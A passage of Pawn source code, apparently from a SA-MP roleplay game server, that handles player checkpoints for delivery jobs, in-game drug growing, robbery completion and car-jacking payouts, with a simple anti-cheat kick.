	   new cash = RandomShomare(3,6);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,-167.472991,-1409.605102,3.036767,5);
	   CP[playerid] = 12389;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 35469)
	{
	   OnCheckpoint[playerid] = 1;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35470;
	   SetPlayerCheckpoint(playerid,-1049.533569,-1196.379882,128.589813,5);
	}
	else if(CP[playerid] == 35470)
	{
	   new cash = RandomShomare(10,20);
	   OnCheckpoint[playerid] = 1;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35471;
	   SetPlayerCheckpoint(playerid,-1066.485229,-972.397888,129.218750,5);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 35471)
	{
	   OnCheckpoint[playerid] = 1;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35472;
	   SetPlayerCheckpoint(playerid,-1049.533569,-1196.379882,128.589813,5);
	}
	else if(CP[playerid] == 35472)
	{
	   new cash = RandomShomare(10,20);
	   OnCheckpoint[playerid] = 1;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35473;
	   SetPlayerCheckpoint(playerid,-1047.418945,-1028.907348,129.211929,5);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 35473)
	{
	   OnCheckpoint[playerid] = 1;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35474;
	   SetPlayerCheckpoint(playerid,-1049.533569,-1196.379882,128.589813,5);
	}
	else if(CP[playerid] == 85697)// Illicit checkpoint
	{
	   LoopingAnim(playerid, "BOMBER", "BOM_Plant", 4.0, 0, 0, 0, 0, 0);
	   	new mozes[144];
	   	new textsay[30];
	   	if(WhichSelected[playerid] == 1) textsay="Heroin";
	   	if(WhichSelected[playerid] == 2) textsay="Crack";
	   	if(WhichSelected[playerid] == 3) textsay="Weed";
	   	if(WhichSelected[playerid] == 4) textsay="LSD";
	   	if(WhichSelected[playerid] == 5) textsay="Optium";
		format(mozes, sizeof(mozes), "%s is cultivation a(n) %s.", RPName(playerid), textsay);
		ProxDetector(30.0, playerid, mozes, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
		SCM(playerid, COLOR_SINARANG, "You must wait till your drug grow up.");
		OnCheckpoint[playerid] = 0;
		CP[playerid] = 0;
		DisablePlayerCheckpoint(playerid);
		new ThisRand = RandomShomare(1,5);
		if(ThisRand == 1)
		{
		DrugGrowTimer[playerid] = SetTimerEx("GrowingTime", 3000, false, "i", playerid);
		}
		if(ThisRand == 2)
		{
		DrugGrowTimer[playerid] = SetTimerEx("GrowingTime", 4000, false, "i", playerid);
		}
		if(ThisRand == 3)
		{
		DrugGrowTimer[playerid] = SetTimerEx("GrowingTime", 5000, false, "i", playerid);
		}
		if(ThisRand == 4)
		{
		DrugGrowTimer[playerid] = SetTimerEx("GrowingTime", 6000, false, "i", playerid);
		}
		if(ThisRand == 5)
		{
		DrugGrowTimer[playerid] = SetTimerEx("GrowingTime", 7000, false, "i", playerid);
		}
	}
	else if(CP[playerid] == 42369423)
	{
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 35474)
	{
	   OnCheckpoint[playerid] = 1;
	   new cash = RandomShomare(10,20);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35475;
	   SetPlayerCheckpoint(playerid,-1117.415405,-1055.386230,129.218750,5);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 35475)
	{
	   OnCheckpoint[playerid] = 1;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35476;
	   SetPlayerCheckpoint(playerid,-1049.533569,-1196.379882,128.589813,5);
	}
	else if(CP[playerid] == 35476)
	{
	   new cash = RandomShomare(10,20);
	   OnCheckpoint[playerid] = 1;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35477;
	   SetPlayerCheckpoint(playerid,-1013.720947,-921.570800,129.212646,5);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 35477)
	{
	   OnCheckpoint[playerid] = 1;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35478;
	   SetPlayerCheckpoint(playerid,-1049.533569,-1196.379882,128.589813,5);
	}
	else if(CP[playerid] == 35478)
	{
	   OnCheckpoint[playerid] = 1;
	   new cash = RandomShomare(10,20);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   CP[playerid] = 35469;
	   SetPlayerCheckpoint(playerid,-1110.039184,-1009.396606,128.780563,5);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 12349)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,100); SCM(playerid,COLOR_SINA3,"You have earned $100 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 1234562)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,250); SCM(playerid,COLOR_SINA3,"You have earned $250 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 1234563)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,300); SCM(playerid,COLOR_SINA3,"You have earned $300 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 1234564)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,400); SCM(playerid,COLOR_SINA3,"You have earned $400 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 1234565)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,200); SCM(playerid,COLOR_SINA3,"You have earned $200 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 1234566)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,200); SCM(playerid,COLOR_SINA3,"You have earned $200 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 1234567)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,300); SCM(playerid,COLOR_SINA3,"You have earned $300 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 1234568)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,400); SCM(playerid,COLOR_SINA3,"You have earned $400 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 1234569)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,300); SCM(playerid,COLOR_SINA3,"You have earned $300 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}

	else if(CP[playerid] == 1234570)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  new attach = GetVehicleTrailer(vehicle);
		  if(IsaTruckCar(attach))
		  {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 SetVehicleToRespawn(attach);
			 TruckAllowed[playerid] = 0;
			 GivePlayerPool(playerid,500); SCM(playerid,COLOR_SINA3,"You have earned $500 for this delivery.");
			 SetPlayerCheckpoint(playerid,-80.585586,-1130.416870,0.805137,4.0);
			 CP[playerid] = 12345;
			 DetachTrailerFromVehicle(vehicle);
				SetTimerEx("uncheatpiz", 60000, false, "i", playerid);
				CheatPiz[playerid] = 1;
		  }
		  else return SCM(playerid,COLOR_LIGHTBLUE,"There is no trailer attached to your vehicle.");
	   }
	}
	else if(CP[playerid] == 121)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,150);
				SCM(playerid,COLOR_SINA3,"You have earned $150 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;

				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);

			 CP[playerid] = 121;
	   }
	}
	else if(CP[playerid] == 68069)
	{
     OnCheckpoint[playerid]=0;DisablePlayerCheckpoint(playerid);CP[playerid]=0;ImInCP[playerid]=1;
	  new counter=0;
	 ForEachPlayer(i)
     {
     if(ImInCP[playerid]==1)counter++;
     }
     if(counter >= 3 && KiRafteAzRob>=1){FinishCurrentRob();}
     if(counter >= 4 && KiRafteAzRob==0){FinishCurrentRob();}
	}
	else if(CP[playerid] == 122)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,170);
				SCM(playerid,COLOR_SINA3,"You have earned $170 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 123)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,200);
				SCM(playerid,COLOR_SINA3,"You have earned $200 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 124)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,205);
				SCM(playerid,COLOR_SINA3,"You have earned $205 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 125)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,200);
				SCM(playerid,COLOR_SINA3,"You have earned $200 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 126)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,225);
				SCM(playerid,COLOR_SINA3,"You have earned $225 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 127)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,300);
				SCM(playerid,COLOR_SINA3,"You have earned $300 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 128)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,200);
				SCM(playerid,COLOR_SINA3,"You have earned $200 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 129)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,350);
				SCM(playerid,COLOR_SINA3,"You have earned $350 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 130)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,400);
				SCM(playerid,COLOR_SINA3,"You have earned $400 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 131)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,350);
				SCM(playerid,COLOR_SINA3,"You have earned $350 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid] == 132)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
				if(CheatPiz[playerid] == 1) {
				KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
				}
			 OnCheckpoint[playerid] = 1;
			 TooPiz[playerid] = 0;
			 GivePlayerPool(playerid,500);
				SCM(playerid,COLOR_SINA3,"You have earned $500 for this delivery.");
			 SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,5.0);
			 CP[playerid] = 121;
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
				SetTimerEx("uncheatpiz", 30000, false, "i", playerid);
				CheatPiz[playerid] = 1;
	   }
	}
	else if(CP[playerid]==1)
	{
	   if(IsPlayerInAnyVehicle(playerid))
	   {
			new myveh = GetPlayerVehicleID(playerid);
			if(OwnedMashin[myveh] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: you cannot drop a personal car.");
			if(myveh == 320 || myveh == 321 || myveh == 310) return SCM(playerid, COLOR_YELLOW2, "Error: this vehicle was blocked.");
		  if(PINFO[playerid][pJackSkill] < 401) {PlayerInfo[playerid][pJackSkill] ++; SaveKonVal(playerid, "pJackSkill", PINFO[playerid][pJackSkill]);}
		  if(PlayerInfo[playerid][pJackSkill] == 50)
		  { SendMessage(playerid, COLOR_YELLOW, "* Your Car Jack Skill is now Level 2, you will earn more Money and quicker Reload Time."); }
		  else if(PlayerInfo[playerid][pJackSkill] == 100)
		  { SendMessage(playerid, COLOR_YELLOW, "* Your Car Jack Skill is now Level 3, you will earn more Money and quicker Reload Time."); }
		  else if(PlayerInfo[playerid][pJackSkill] == 200)
		  { SendMessage(playerid, COLOR_YELLOW, "* Your Car Jack Skill is now Level 4, you will earn more Money and quicker Reload Time."); }
		  else if(PlayerInfo[playerid][pJackSkill] == 400)
		  { SendMessage(playerid, COLOR_YELLOW, "* Your Car Jack Skill is now Level 5, you will earn more Money and quicker Reload Time."); }
		  new level = PlayerInfo[playerid][pJackSkill];
		  if(level >= 0 && level <= 50)
		  {
			 new moneypay = RandomShomare(25, 30);
			 format(string, sizeof(string), "You sold a car for $%s, your reload time is 3 minutes.",FormatNumber(moneypay));
			 SendMessage(playerid, COLOR_LIGHTBLUE, string);
			 GivePlayerPool(playerid, moneypay);
			 PlayerInfo[playerid][pCarTime] = 180;
			 SaveKonVal(playerid, "pCarTime", 180);
		  }
		  else if(level >= 51 && level <= 100)
		  {
			 new moneypay = RandomShomare(45, 50);
			 format(string, sizeof(string), "You sold a car for $%s, your reload time is 150 seconds.", FormatNumber(moneypay));
			 SendMessage(playerid, COLOR_LIGHTBLUE, string);
			 GivePlayerPool(playerid, moneypay);
			 PlayerInfo[playerid][pCarTime] = 150;
			 SaveKonVal(playerid, "pCarTime", 150);
		  }
		  else if(level >= 101 && level <= 200)
		  {
